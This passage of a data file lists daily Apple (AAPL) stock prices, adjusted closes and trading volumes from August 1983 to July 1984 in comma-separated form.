-1983-08-03,0.6138392686843872,0.6361607313156128,0.6049107313156128,0.6227678656578064,0.494614839553833,30956800.0,AAPL -1983-08-04,0.6227678656578064,0.6294642686843872,0.5669642686843872,0.59375,0.4715679883956909,73029600.0,AAPL -1983-08-05,0.59375,0.6160714030265808,0.5892857313156128,0.6049107313156128,0.48043233156204224,32855200.0,AAPL -1983-08-08,0.6049107313156128,0.6205357313156128,0.5915178656578064,0.6071428656578064,0.48220518231391907,19202400.0,AAPL -1983-08-09,0.6071428656578064,0.6227678656578064,0.6026785969734192,0.6138392686843872,0.48752349615097046,37592800.0,AAPL -1983-08-10,0.6138392686843872,0.6183035969734192,0.5982142686843872,0.6116071343421936,0.4857509136199951,40493600.0,AAPL -1983-08-11,0.6116071343421936,0.6205357313156128,0.59375,0.6026785969734192,0.47865942120552063,22545600.0,AAPL -1983-08-12,0.6026785969734192,0.6160714030265808,0.5915178656578064,0.5982142686843872,0.47511371970176697,18659200.0,AAPL -1983-08-15,0.5982142686843872,0.6138392686843872,0.5959821343421936,0.6138392686843872,0.48752349615097046,38068800.0,AAPL -1983-08-16,0.6138392686843872,0.6205357313156128,0.5982142686843872,0.6049107313156128,0.48043233156204224,22842400.0,AAPL -1983-08-17,0.6049107313156128,0.6116071343421936,0.5848214030265808,0.5915178656578064,0.469795286655426,23609600.0,AAPL -1983-08-18,0.5915178656578064,0.6049107313156128,0.5892857313156128,0.5982142686843872,0.47511371970176697,20434400.0,AAPL -1983-08-19,0.5982142686843872,0.6071428656578064,0.59375,0.6026785969734192,0.47865942120552063,14649600.0,AAPL -1983-08-22,0.6026785969734192,0.609375,0.59375,0.6004464030265808,0.4768866300582886,21341600.0,AAPL -1983-08-23,0.6004464030265808,0.6004464030265808,0.5647321343421936,0.5691964030265808,0.4520672559738159,23396800.0,AAPL -1983-08-24,0.5669642686843872,0.5669642686843872,0.5379464030265808,0.5401785969734192,0.42902064323425293,28324800.0,AAPL -1983-08-25,0.5401785969734192,0.5491071343421936,0.5357142686843872,0.5446428656578064,0.4325663149356842,47443200.0,AAPL -1983-08-26,0.5446428656578064,0.5535714030265808,0.5401785969734192,0.5513392686843872,0.43788468837738037,23296000.0,AAPL -1983-08-29,0.5513392686843872,0.5647321343421936,0.5357142686843872,0.5580357313156128,0.4432031214237213,34574400.0,AAPL -1983-08-30,0.5580357313156128,0.5982142686843872,0.5580357313156128,0.5870535969734192,0.46624982357025146,58486400.0,AAPL -1983-08-31,0.5915178656578064,0.6651785969734192,0.5915178656578064,0.6651785969734192,0.5282983779907227,50058400.0,AAPL -1983-09-01,0.6651785969734192,0.6875,0.6339285969734192,0.6495535969734192,0.5158885717391968,54532800.0,AAPL -1983-09-02,0.6495535969734192,0.6785714030265808,0.6473214030265808,0.6785714030265808,0.5389349460601807,32334400.0,AAPL -1983-09-06,0.6919642686843872,0.7098214030265808,0.6919642686843872,0.703125,0.5584360361099243,45421600.0,AAPL -1983-09-07,0.7008928656578064,0.7008928656578064,0.6049107313156128,0.6183035969734192,0.49106916785240173,96213600.0,AAPL -1983-09-08,0.6183035969734192,0.625,0.5580357313156128,0.5669642686843872,0.4502944052219391,76764800.0,AAPL -1983-09-09,0.5669642686843872,0.5691964030265808,0.5446428656578064,0.546875,0.43433907628059387,53172000.0,AAPL -1983-09-12,0.546875,0.5803571343421936,0.5401785969734192,0.546875,0.43433907628059387,66578400.0,AAPL -1983-09-13,0.546875,0.5803571343421936,0.5424107313156128,0.5714285969734192,0.453840047121048,51044000.0,AAPL -1983-09-14,0.5714285969734192,0.5848214030265808,0.5535714030265808,0.5647321343421936,0.4485216736793518,45382400.0,AAPL -1983-09-15,0.5647321343421936,0.5669642686843872,0.53125,0.5379464030265808,0.4272479712963104,39709600.0,AAPL -1983-09-16,0.5379464030265808,0.5379464030265808,0.5200892686843872,0.5245535969734192,0.4166109561920166,56436800.0,AAPL -1983-09-19,0.5245535969734192,0.5758928656578064,0.5223214030265808,0.5714285969734192,0.453840047121048,50495200.0,AAPL -1983-09-20,0.5714285969734192,0.5982142686843872,0.5714285969734192,0.5736607313156128,0.45561301708221436,56604800.0,AAPL -1983-09-21,0.5736607313156128,0.5825892686843872,0.5602678656578064,0.5625,0.4467487037181854,26588800.0,AAPL -1983-09-22,0.5625,0.5825892686843872,0.5558035969734192,0.5803571343421936,0.4609312117099762,36030400.0,AAPL -1983-09-23,0.4464285671710968,0.4464285671710968,0.3973214328289032,0.4330357015132904,0.3439256548881531,708086400.0,AAPL -1983-09-26,0.4352678656578064,0.4620535671710968,0.4352678656578064,0.4441964328289032,0.3527897894382477,192192000.0,AAPL -1983-09-27,0.4441964328289032,0.4464285671710968,0.4107142984867096,0.4196428656578064,0.3332887589931488,104277600.0,AAPL -1983-09-28,0.4196428656578064,0.4196428656578064,0.3950892984867096,0.4084821343421936,0.32442471385002136,93374400.0,AAPL -1983-09-29,0.4084821343421936,0.4241071343421936,0.4040178656578064,0.40625,0.3226518929004669,70694400.0,AAPL -1983-09-30,0.40625,0.421875,0.4017857015132904,0.4129464328289032,0.32797035574913025,29467200.0,AAPL -1983-10-03,0.4129464328289032,0.4196428656578064,0.4040178656578064,0.4129464328289032,0.32797035574913025,38225600.0,AAPL -1983-10-04,0.4129464328289032,0.421875,0.40625,0.4084821343421936,0.32442471385002136,42403200.0,AAPL -1983-10-05,0.4084821343421936,0.4151785671710968,0.3950892984867096,0.4017857015132904,0.3191063106060028,47667200.0,AAPL -1983-10-06,0.4017857015132904,0.4084821343421936,0.3883928656578064,0.3973214328289032,0.3155606985092163,58234400.0,AAPL -1983-10-07,0.3973214328289032,0.4241071343421936,0.359375,0.3638392984867096,0.2889685332775116,61583200.0,AAPL -1983-10-10,0.359375,0.359375,0.328125,0.3526785671710968,0.2801044285297394,129281600.0,AAPL -1983-10-11,0.3526785671710968,0.3549107015132904,0.3415178656578064,0.3459821343421936,0.27478593587875366,63190400.0,AAPL -1983-10-12,0.3459821343421936,0.3794642984867096,0.34375,0.3772321343421936,0.2996053695678711,118154400.0,AAPL -1983-10-13,0.3883928656578064,0.4285714328289032,0.3883928656578064,0.4107142984867096,0.3261975944042206,105128800.0,AAPL -1983-10-14,0.4107142984867096,0.4241071343421936,0.4017857015132904,0.40625,0.3226518929004669,69815200.0,AAPL -1983-10-17,0.40625,0.40625,0.3727678656578064,0.375,0.2978326678276062,54779200.0,AAPL -1983-10-18,0.3705357015132904,0.3705357015132904,0.3370535671710968,0.3459821343421936,0.27478593587875366,95743200.0,AAPL -1983-10-19,0.3459821343421936,0.3973214328289032,0.3415178656578064,0.3839285671710968,0.3049238324165344,71848000.0,AAPL -1983-10-20,0.3839285671710968,0.3950892984867096,0.3549107015132904,0.3638392984867096,0.2889685332775116,32922400.0,AAPL -1983-10-21,0.3638392984867096,0.3727678656578064,0.3504464328289032,0.3549107015132904,0.2818772792816162,39250400.0,AAPL -1983-10-24,0.3549107015132904,0.3772321343421936,0.3191964328289032,0.3772321343421936,0.2996053695678711,64848000.0,AAPL -1983-10-25,0.3772321343421936,0.390625,0.375,0.3794642984867096,0.3013782501220703,42112000.0,AAPL -1983-10-26,0.3794642984867096,0.3839285671710968,0.3571428656578064,0.359375,0.28542283177375793,32228000.0,AAPL -1983-10-27,0.359375,0.3861607015132904,0.359375,0.3772321343421936,0.2996053695678711,24460800.0,AAPL -1983-10-28,0.3772321343421936,0.3816964328289032,0.3638392984867096,0.3727678656578064,0.2960597574710846,20300000.0,AAPL -1983-10-31,0.3772321343421936,0.4107142984867096,0.3772321343421936,0.4040178656578064,0.32087913155555725,43293600.0,AAPL -1983-11-01,0.4040178656578064,0.4285714328289032,0.3861607015132904,0.4107142984867096,0.3261975944042206,82096000.0,AAPL -1983-11-02,0.4107142984867096,0.4308035671710968,0.4107142984867096,0.4196428656578064,0.3332887589931488,50618400.0,AAPL -1983-11-03,0.4196428656578064,0.421875,0.375,0.390625,0.31024226546287537,71500800.0,AAPL -1983-11-04,0.390625,0.3928571343421936,0.375,0.3772321343421936,0.2996053695678711,36685600.0,AAPL -1983-11-07,0.3772321343421936,0.3861607015132904,0.3705357015132904,0.375,0.2978326678276062,38029600.0,AAPL -1983-11-08,0.3482142984867096,0.3482142984867096,0.3080357015132904,0.3191964328289032,0.25351229310035706,305379200.0,AAPL -1983-11-09,0.3191964328289032,0.34375,0.3125,0.34375,0.2730131149291992,88368000.0,AAPL -1983-11-10,0.34375,0.359375,0.34375,0.3504464328289032,0.2783316671848297,55518400.0,AAPL -1983-11-11,0.3504464328289032,0.3638392984867096,0.3482142984867096,0.3571428656578064,0.28365007042884827,29008000.0,AAPL -1983-11-14,0.3571428656578064,0.3616071343421936,0.3504464328289032,0.3526785671710968,0.2801044285297394,27070400.0,AAPL -1983-11-15,0.3526785671710968,0.3549107015132904,0.3392857015132904,0.3526785671710968,0.2801044285297394,29657600.0,AAPL -1983-11-16,0.3526785671710968,0.3660714328289032,0.3504464328289032,0.3571428656578064,0.28365007042884827,25569600.0,AAPL -1983-11-17,0.3571428656578064,0.3705357015132904,0.3571428656578064,0.3660714328289032,0.2907413840293884,22596000.0,AAPL -1983-11-18,0.3660714328289032,0.3727678656578064,0.3616071343421936,0.3683035671710968,0.29251402616500854,19975200.0,AAPL -1983-11-21,0.3683035671710968,0.3861607015132904,0.3683035671710968,0.3839285671710968,0.3049238324165344,26252800.0,AAPL -1983-11-22,0.3839285671710968,0.3883928656578064,0.3794642984867096,0.3839285671710968,0.3049238324165344,26297600.0,AAPL -1983-11-23,0.3839285671710968,0.3839285671710968,0.3571428656578064,0.3638392984867096,0.2889685332775116,28588000.0,AAPL -1983-11-25,0.3638392984867096,0.3683035671710968,0.3638392984867096,0.3660714328289032,0.2907413840293884,9324000.0,AAPL -1983-11-28,0.3660714328289032,0.3772321343421936,0.3638392984867096,0.375,0.2978326678276062,18099200.0,AAPL -1983-11-29,0.375,0.3839285671710968,0.3660714328289032,0.3705357015132904,0.29428690671920776,23822400.0,AAPL -1983-11-30,0.3705357015132904,0.375,0.3638392984867096,0.3638392984867096,0.2889685332775116,16083200.0,AAPL -1983-12-01,0.3638392984867096,0.3727678656578064,0.3571428656578064,0.3616071343421936,0.2871958017349243,19168800.0,AAPL -1983-12-02,0.3616071343421936,0.3616071343421936,0.3526785671710968,0.3549107015132904,0.2818772792816162,21341600.0,AAPL -1983-12-05,0.3549107015132904,0.3660714328289032,0.3526785671710968,0.3638392984867096,0.2889685332775116,11289600.0,AAPL -1983-12-06,0.3638392984867096,0.3683035671710968,0.3616071343421936,0.3660714328289032,0.2907413840293884,12997600.0,AAPL -1983-12-07,0.3660714328289032,0.3839285671710968,0.3616071343421936,0.375,0.2978326678276062,22288000.0,AAPL -1983-12-08,0.375,0.3950892984867096,0.375,0.3839285671710968,0.3049238324165344,34406400.0,AAPL -1983-12-09,0.3839285671710968,0.3950892984867096,0.3794642984867096,0.3861607015132904,0.3066966235637665,20692000.0,AAPL -1983-12-12,0.3861607015132904,0.3883928656578064,0.375,0.3839285671710968,0.3049238324165344,16284800.0,AAPL -1983-12-13,0.3839285671710968,0.40625,0.3816964328289032,0.4017857015132904,0.3191063106060028,49386400.0,AAPL -1983-12-14,0.4017857015132904,0.421875,0.3861607015132904,0.4174107015132904,0.33151596784591675,50472800.0,AAPL -1983-12-15,0.4174107015132904,0.4419642984867096,0.4174107015132904,0.4352678656578064,0.3456985056400299,79150400.0,AAPL -1983-12-16,0.4352678656578064,0.4464285671710968,0.4330357015132904,0.4419642984867096,0.35101693868637085,46216800.0,AAPL -1983-12-19,0.4419642984867096,0.4464285671710968,0.4263392984867096,0.4285714328289032,0.3403799831867218,43400000.0,AAPL -1983-12-20,0.4285714328289032,0.4285714328289032,0.4107142984867096,0.4174107015132904,0.33151596784591675,44436000.0,AAPL -1983-12-21,0.4174107015132904,0.4330357015132904,0.4151785671710968,0.4330357015132904,0.3439256548881531,42946400.0,AAPL -1983-12-22,0.4330357015132904,0.4419642984867096,0.4308035671710968,0.4419642984867096,0.35101693868637085,32636800.0,AAPL -1983-12-23,0.4419642984867096,0.4441964328289032,0.4330357015132904,0.4397321343421936,0.34924399852752686,12140800.0,AAPL -1983-12-27,0.4397321343421936,0.4464285671710968,0.4397321343421936,0.4419642984867096,0.35101693868637085,24108000.0,AAPL -1983-12-28,0.4419642984867096,0.4508928656578064,0.4375,0.4464285671710968,0.3545624911785126,32138400.0,AAPL -1983-12-29,0.4464285671710968,0.4508928656578064,0.4352678656578064,0.4352678656578064,0.3456985056400299,25687200.0,AAPL -1983-12-30,0.4352678656578064,0.4464285671710968,0.4330357015132904,0.4352678656578064,0.3456985056400299,22965600.0,AAPL -1984-01-03,0.4352678656578064,0.4665178656578064,0.4352678656578064,0.4575892984867096,0.3634265065193176,37548000.0,AAPL -1984-01-04,0.4598214328289032,0.5,0.4598214328289032,0.4977678656578064,0.39533722400665283,73152800.0,AAPL -1984-01-05,0.4977678656578064,0.5178571343421936,0.4933035671710968,0.5044642686843872,0.40065574645996094,76428800.0,AAPL -1984-01-06,0.5044642686843872,0.5111607313156128,0.4866071343421936,0.4955357015132904,0.3935643434524536,42123200.0,AAPL -1984-01-09,0.4955357015132904,0.4955357015132904,0.453125,0.46875,0.3722907602787018,53933600.0,AAPL -1984-01-10,0.46875,0.4933035671710968,0.46875,0.4933035671710968,0.39179161190986633,43047200.0,AAPL -1984-01-11,0.4933035671710968,0.5089285969734192,0.4910714328289032,0.5,0.39711010456085205,43988000.0,AAPL -1984-01-12,0.5,0.5066964030265808,0.4933035671710968,0.4977678656578064,0.39533722400665283,27585600.0,AAPL -1984-01-13,0.4977678656578064,0.5044642686843872,0.4776785671710968,0.4866071343421936,0.3864732086658478,30436000.0,AAPL -1984-01-16,0.4866071343421936,0.5044642686843872,0.484375,0.4977678656578064,0.39533722400665283,34395200.0,AAPL -1984-01-17,0.4977678656578064,0.5133928656578064,0.4977678656578064,0.5111607313156128,0.40597423911094666,37268000.0,AAPL -1984-01-18,0.5111607313156128,0.5223214030265808,0.5022321343421936,0.5133928656578064,0.4077470302581787,55126400.0,AAPL -1984-01-19,0.5133928656578064,0.5267857313156128,0.5089285969734192,0.5178571343421936,0.4112926721572876,37430400.0,AAPL -1984-01-20,0.5178571343421936,0.5200892686843872,0.5044642686843872,0.5111607313156128,0.40597423911094666,35336000.0,AAPL -1984-01-23,0.5111607313156128,0.5200892686843872,0.5066964030265808,0.515625,0.4095197916030884,69591200.0,AAPL -1984-01-24,0.515625,0.5178571343421936,0.4732142984867096,0.4866071343421936,0.3864732086658478,80057600.0,AAPL -1984-01-25,0.4866071343421936,0.515625,0.4799107015132904,0.4821428656578064,0.38292765617370605,65968000.0,AAPL -1984-01-26,0.4821428656578064,0.5,0.4821428656578064,0.4933035671710968,0.39179161190986633,42123200.0,AAPL -1984-01-27,0.4933035671710968,0.4955357015132904,0.4575892984867096,0.4665178656578064,0.3705179691314697,48524000.0,AAPL -1984-01-30,0.4665178656578064,0.4754464328289032,0.4308035671710968,0.4419642984867096,0.35101693868637085,69367200.0,AAPL -1984-01-31,0.4419642984867096,0.4508928656578064,0.4129464328289032,0.4419642984867096,0.35101693868637085,86273600.0,AAPL -1984-02-01,0.4419642984867096,0.4553571343421936,0.4375,0.4397321343421936,0.34924399852752686,40779200.0,AAPL -1984-02-02,0.4397321343421936,0.4464285671710968,0.4308035671710968,0.4441964328289032,0.3527897894382477,33728800.0,AAPL -1984-02-03,0.4441964328289032,0.4553571343421936,0.4375,0.4375,0.34747135639190674,36372000.0,AAPL -1984-02-06,0.4375,0.4375,0.4129464328289032,0.4151785671710968,0.3297431766986847,41389600.0,AAPL -1984-02-07,0.4151785671710968,0.4330357015132904,0.3995535671710968,0.4308035671710968,0.3421529233455658,54432000.0,AAPL -1984-02-08,0.4308035671710968,0.4375,0.4151785671710968,0.4151785671710968,0.3297431766986847,37055200.0,AAPL -1984-02-09,0.4151785671710968,0.4308035671710968,0.4040178656578064,0.421875,0.33506160974502563,58699200.0,AAPL -1984-02-10,0.421875,0.4464285671710968,0.421875,0.4352678656578064,0.3456985056400299,35991200.0,AAPL -1984-02-13,0.4352678656578064,0.4397321343421936,0.4263392984867096,0.4330357015132904,0.3439256548881531,26432000.0,AAPL -1984-02-14,0.4330357015132904,0.4598214328289032,0.4330357015132904,0.4575892984867096,0.3634265065193176,52264800.0,AAPL -1984-02-15,0.4575892984867096,0.4776785671710968,0.4441964328289032,0.4486607015132904,0.35633549094200134,50209600.0,AAPL -1984-02-16,0.4486607015132904,0.4553571343421936,0.4375,0.453125,0.35988089442253113,26308800.0,AAPL -1984-02-17,0.453125,0.4642857015132904,0.4464285671710968,0.4464285671710968,0.3545624911785126,33661600.0,AAPL -1984-02-21,0.4464285671710968,0.46875,0.4441964328289032,0.4665178656578064,0.3705179691314697,30072000.0,AAPL -1984-02-22,0.46875,0.4933035671710968,0.46875,0.4888392984867096,0.3882460296154022,55843200.0,AAPL -1984-02-23,0.4888392984867096,0.4888392984867096,0.4642857015132904,0.4799107015132904,0.3811548054218292,38763200.0,AAPL -1984-02-24,0.4799107015132904,0.4910714328289032,0.4799107015132904,0.484375,0.38470029830932617,19454400.0,AAPL -1984-02-27,0.484375,0.4910714328289032,0.4709821343421936,0.4821428656578064,0.38292765617370605,30391200.0,AAPL -1984-02-28,0.4821428656578064,0.484375,0.4486607015132904,0.4553571343421936,0.3616538643836975,42481600.0,AAPL -1984-02-29,0.4553571343421936,0.4799107015132904,0.4508928656578064,0.46875,0.3722907602787018,33510400.0,AAPL -1984-03-01,0.46875,0.484375,0.4575892984867096,0.4821428656578064,0.38292765617370605,33090400.0,AAPL -1984-03-02,0.4821428656578064,0.5,0.4799107015132904,0.4866071343421936,0.3864732086658478,47812800.0,AAPL -1984-03-05,0.4866071343421936,0.4888392984867096,0.4709821343421936,0.4776785671710968,0.37938192486763,18401600.0,AAPL -1984-03-06,0.4776785671710968,0.4866071343421936,0.4575892984867096,0.4598214328289032,0.3651994466781616,24746400.0,AAPL -1984-03-07,0.4598214328289032,0.4754464328289032,0.4486607015132904,0.4732142984867096,0.3758363425731659,24141600.0,AAPL -1984-03-08,0.4732142984867096,0.484375,0.4732142984867096,0.4799107015132904,0.3811548054218292,32446400.0,AAPL -1984-03-09,0.4799107015132904,0.4799107015132904,0.46875,0.4709821343421936,0.37406352162361145,16514400.0,AAPL -1984-03-12,0.4732142984867096,0.4910714328289032,0.4732142984867096,0.4888392984867096,0.3882460296154022,31259200.0,AAPL -1984-03-13,0.4888392984867096,0.4955357015132904,0.4776785671710968,0.4821428656578064,0.38292765617370605,38220000.0,AAPL -1984-03-14,0.4821428656578064,0.484375,0.4732142984867096,0.4754464328289032,0.37760916352272034,14901600.0,AAPL -1984-03-15,0.4754464328289032,0.4821428656578064,0.4709821343421936,0.4776785671710968,0.37938192486763,13820800.0,AAPL -1984-03-16,0.4776785671710968,0.4955357015132904,0.4709821343421936,0.4754464328289032,0.37760916352272034,31175200.0,AAPL -1984-03-19,0.4732142984867096,0.4732142984867096,0.4620535671710968,0.46875,0.3722907602787018,20647200.0,AAPL -1984-03-20,0.46875,0.4776785671710968,0.4486607015132904,0.4642857015132904,0.3687450587749481,25132800.0,AAPL -1984-03-21,0.4642857015132904,0.4754464328289032,0.4620535671710968,0.4642857015132904,0.3687450587749481,11916800.0,AAPL -1984-03-22,0.4642857015132904,0.4642857015132904,0.4486607015132904,0.4553571343421936,0.3616538643836975,12796000.0,AAPL -1984-03-23,0.4553571343421936,0.4598214328289032,0.4464285671710968,0.4553571343421936,0.3616538643836975,15282400.0,AAPL -1984-03-26,0.4553571343421936,0.4665178656578064,0.4508928656578064,0.4598214328289032,0.3651994466781616,14240800.0,AAPL -1984-03-27,0.4598214328289032,0.4620535671710968,0.4441964328289032,0.4464285671710968,0.3545624911785126,24824800.0,AAPL -1984-03-28,0.4486607015132904,0.4575892984867096,0.4486607015132904,0.4553571343421936,0.3616538643836975,18872000.0,AAPL -1984-03-29,0.4553571343421936,0.4598214328289032,0.4508928656578064,0.453125,0.35988089442253113,9794400.0,AAPL -1984-03-30,0.453125,0.4553571343421936,0.4375,0.4419642984867096,0.35101693868637085,11435200.0,AAPL -1984-04-02,0.4419642984867096,0.4508928656578064,0.4375,0.4441964328289032,0.3527897894382477,13664000.0,AAPL -1984-04-03,0.4441964328289032,0.4486607015132904,0.4397321343421936,0.4464285671710968,0.3545624911785126,11026400.0,AAPL -1984-04-04,0.4464285671710968,0.4486607015132904,0.4375,0.4375,0.34747135639190674,26919200.0,AAPL -1984-04-05,0.4375,0.4441964328289032,0.4308035671710968,0.4308035671710968,0.3421529233455658,20703200.0,AAPL -1984-04-06,0.4308035671710968,0.4352678656578064,0.4107142984867096,0.4196428656578064,0.3332887589931488,21397600.0,AAPL -1984-04-09,0.4196428656578064,0.4330357015132904,0.4196428656578064,0.4196428656578064,0.3332887589931488,13563200.0,AAPL -1984-04-10,0.4285714328289032,0.4419642984867096,0.4285714328289032,0.4419642984867096,0.35101693868637085,14274400.0,AAPL -1984-04-11,0.4419642984867096,0.453125,0.4330357015132904,0.4375,0.34747135639190674,17651200.0,AAPL -1984-04-12,0.4375,0.4642857015132904,0.4308035671710968,0.4598214328289032,0.3651994466781616,19600000.0,AAPL -1984-04-13,0.4598214328289032,0.4709821343421936,0.4553571343421936,0.4598214328289032,0.3651994466781616,25849600.0,AAPL -1984-04-16,0.4598214328289032,0.4709821343421936,0.4486607015132904,0.46875,0.3722907602787018,17029600.0,AAPL -1984-04-17,0.4776785671710968,0.4977678656578064,0.4776785671710968,0.4910714328289032,0.39001888036727905,83238400.0,AAPL -1984-04-18,0.4910714328289032,0.5022321343421936,0.4888392984867096,0.5,0.39711010456085205,49918400.0,AAPL -1984-04-19,0.5,0.5066964030265808,0.4955357015132904,0.5044642686843872,0.40065574645996094,30850400.0,AAPL -1984-04-23,0.5044642686843872,0.5200892686843872,0.5,0.5066964030265808,0.402428537607193,73466400.0,AAPL -1984-04-24,0.5066964030265808,0.515625,0.4955357015132904,0.4977678656578064,0.39533722400665283,70392000.0,AAPL -1984-04-25,0.4977678656578064,0.5022321343421936,0.4888392984867096,0.4933035671710968,0.39179161190986633,48720000.0,AAPL -1984-04-26,0.4955357015132904,0.5334821343421936,0.4955357015132904,0.53125,0.4219294488430023,79626400.0,AAPL -1984-04-27,0.53125,0.5491071343421936,0.5223214030265808,0.5379464030265808,0.4272479712963104,92999200.0,AAPL -1984-04-30,0.5379464030265808,0.5602678656578064,0.5334821343421936,0.5602678656578064,0.44497600197792053,73287200.0,AAPL -1984-05-01,0.5669642686843872,0.59375,0.5669642686843872,0.59375,0.4715679883956909,101628800.0,AAPL -1984-05-02,0.59375,0.5982142686843872,0.578125,0.5892857313156128,0.46802276372909546,79329600.0,AAPL -1984-05-03,0.5892857313156128,0.5892857313156128,0.5535714030265808,0.5647321343421936,0.4485216736793518,81855200.0,AAPL -1984-05-04,0.5647321343421936,0.5647321343421936,0.5357142686843872,0.5379464030265808,0.4272479712963104,65111200.0,AAPL -1984-05-07,0.5379464030265808,0.5602678656578064,0.5334821343421936,0.5558035969734192,0.4414304792881012,40017600.0,AAPL -1984-05-08,0.5580357313156128,0.5915178656578064,0.5580357313156128,0.5870535969734192,0.46624982357025146,63750400.0,AAPL -1984-05-09,0.5870535969734192,0.6138392686843872,0.5803571343421936,0.5915178656578064,0.469795286655426,101253600.0,AAPL -1984-05-10,0.5915178656578064,0.6004464030265808,0.5758928656578064,0.5915178656578064,0.469795286655426,59656800.0,AAPL -1984-05-11,0.5915178656578064,0.59375,0.5535714030265808,0.5758928656578064,0.4573856592178345,49431200.0,AAPL -1984-05-14,0.5736607313156128,0.5736607313156128,0.5580357313156128,0.5647321343421936,0.4485216736793518,22321600.0,AAPL -1984-05-15,0.5647321343421936,0.5736607313156128,0.5625,0.5691964030265808,0.4520672559738159,25676000.0,AAPL -1984-05-16,0.5691964030265808,0.5736607313156128,0.5424107313156128,0.5446428656578064,0.4325663149356842,54930400.0,AAPL -1984-05-17,0.5446428656578064,0.5446428656578064,0.5133928656578064,0.5200892686843872,0.4130654036998749,70487200.0,AAPL -1984-05-18,0.5200892686843872,0.5334821343421936,0.5133928656578064,0.53125,0.4219294488430023,48367200.0,AAPL -1984-05-21,0.53125,0.5758928656578064,0.5290178656578064,0.5691964030265808,0.4520672559738159,108763200.0,AAPL -1984-05-22,0.5691964030265808,0.5691964030265808,0.5357142686843872,0.5513392686843872,0.43788468837738037,75314400.0,AAPL -1984-05-23,0.5513392686843872,0.5558035969734192,0.5401785969734192,0.5401785969734192,0.42902064323425293,42240800.0,AAPL -1984-05-24,0.5401785969734192,0.5401785969734192,0.515625,0.5245535969734192,0.4166109561920166,48328000.0,AAPL -1984-05-25,0.5245535969734192,0.5334821343421936,0.5200892686843872,0.5267857313156128,0.41838377714157104,30027200.0,AAPL -1984-05-29,0.5267857313156128,0.53125,0.515625,0.5245535969734192,0.4166109561920166,39065600.0,AAPL -1984-05-30,0.5245535969734192,0.5267857313156128,0.5,0.5178571343421936,0.4112926721572876,79609600.0,AAPL -1984-05-31,0.5178571343421936,0.53125,0.5133928656578064,0.5245535969734192,0.4166109561920166,41753600.0,AAPL -1984-06-01,0.5245535969734192,0.5424107313156128,0.5223214030265808,0.5424107313156128,0.4307937026023865,60575200.0,AAPL -1984-06-04,0.5424107313156128,0.5491071343421936,0.5245535969734192,0.5290178656578064,0.4201566278934479,37072000.0,AAPL -1984-06-05,0.5200892686843872,0.5200892686843872,0.4955357015132904,0.4977678656578064,0.39533722400665283,82107200.0,AAPL -1984-06-06,0.4977678656578064,0.5200892686843872,0.4955357015132904,0.5178571343421936,0.4112926721572876,40364800.0,AAPL -1984-06-07,0.5178571343421936,0.5200892686843872,0.5022321343421936,0.5133928656578064,0.4077470302581787,25636800.0,AAPL -1984-06-08,0.5133928656578064,0.515625,0.5,0.5111607313156128,0.40597423911094666,27244000.0,AAPL -1984-06-11,0.5111607313156128,0.515625,0.5044642686843872,0.5111607313156128,0.40597423911094666,21061600.0,AAPL -1984-06-12,0.5111607313156128,0.5267857313156128,0.5089285969734192,0.5200892686843872,0.4130654036998749,29282400.0,AAPL -1984-06-13,0.5223214030265808,0.5334821343421936,0.5223214030265808,0.53125,0.4219294488430023,28929600.0,AAPL -1984-06-14,0.53125,0.53125,0.5133928656578064,0.515625,0.4095197916030884,25239200.0,AAPL -1984-06-15,0.515625,0.5245535969734192,0.515625,0.5178571343421936,0.4112926721572876,22444800.0,AAPL -1984-06-18,0.5178571343421936,0.53125,0.5066964030265808,0.5290178656578064,0.4201566278934479,28649600.0,AAPL -1984-06-19,0.5290178656578064,0.5424107313156128,0.5245535969734192,0.5245535969734192,0.4166109561920166,40236000.0,AAPL -1984-06-20,0.5245535969734192,0.5401785969734192,0.5133928656578064,0.5401785969734192,0.42902064323425293,29881600.0,AAPL -1984-06-21,0.5401785969734192,0.546875,0.5178571343421936,0.5178571343421936,0.4112926721572876,35476000.0,AAPL -1984-06-22,0.5178571343421936,0.5267857313156128,0.5111607313156128,0.5111607313156128,0.40597423911094666,21151200.0,AAPL -1984-06-25,0.5111607313156128,0.515625,0.4821428656578064,0.4866071343421936,0.3864732086658478,41871200.0,AAPL -1984-06-26,0.4866071343421936,0.4888392984867096,0.4642857015132904,0.4642857015132904,0.3687450587749481,37161600.0,AAPL -1984-06-27,0.4642857015132904,0.46875,0.4330357015132904,0.4508928656578064,0.3581082224845886,94320800.0,AAPL -1984-06-28,0.4508928656578064,0.4776785671710968,0.4508928656578064,0.4709821343421936,0.37406352162361145,29579200.0,AAPL -1984-06-29,0.4709821343421936,0.4955357015132904,0.4709821343421936,0.4732142984867096,0.3758363425731659,35498400.0,AAPL -1984-07-02,0.4732142984867096,0.4754464328289032,0.4486607015132904,0.4575892984867096,0.3634265065193176,39916800.0,AAPL -1984-07-03,0.4575892984867096,0.4598214328289032,0.4441964328289032,0.4508928656578064,0.3581082224845886,44766400.0,AAPL -1984-07-05,0.4508928656578064,0.4553571343421936,0.4352678656578064,0.4419642984867096,0.35101693868637085,23296000.0,AAPL -1984-07-06,0.4419642984867096,0.4553571343421936,0.4330357015132904,0.4486607015132904,0.35633549094200134,23912000.0,AAPL -1984-07-09,0.4486607015132904,0.4709821343421936,0.4419642984867096,0.46875,0.3722907602787018,47667200.0,AAPL -1984-07-10,0.46875,0.484375,0.4665178656578064,0.4799107015132904,0.3811548054218292,43075200.0,AAPL -1984-07-11,0.4799107015132904,0.4866071343421936,0.4665178656578064,0.4732142984867096,0.3758363425731659,30273600.0,AAPL -1984-07-12,0.4732142984867096,0.484375,0.4709821343421936,0.4754464328289032,0.37760916352272034,42173600.0,AAPL -1984-07-13,0.4754464328289032,0.484375,0.4642857015132904,0.4709821343421936,0.37406352162361145,33986400.0,AAPL -1984-07-16,0.4709821343421936,0.4709821343421936,0.4464285671710968,0.4598214328289032,0.3651994466781616,50747200.0,AAPL -1984-07-17,0.4598214328289032,0.4642857015132904,0.453125,0.4598214328289032,0.3651994466781616,21212800.0,AAPL -1984-07-18,0.4598214328289032,0.4620535671710968,0.4508928656578064,0.453125,0.35988089442253113,26006400.0,AAPL -1984-07-19,0.453125,0.4598214328289032,0.4486607015132904,0.453125,0.35988089442253113,19476800.0,AAPL -1984-07-20,0.453125,0.4598214328289032,0.4508928656578064,0.453125,0.35988089442253113,8293600.0,AAPL -1984-07-23,0.453125,0.453125,0.4375,0.4486607015132904,0.35633549094200134,23508800.0,AAPL -1984-07-24,0.4486607015132904,0.4821428656578064,0.4464285671710968,0.4754464328289032,0.37760916352272034,44811200.0,AAPL -1984-07-25,0.4776785671710968,0.4888392984867096,0.4776785671710968,0.4776785671710968,0.37938192486763,50114400.0,AAPL 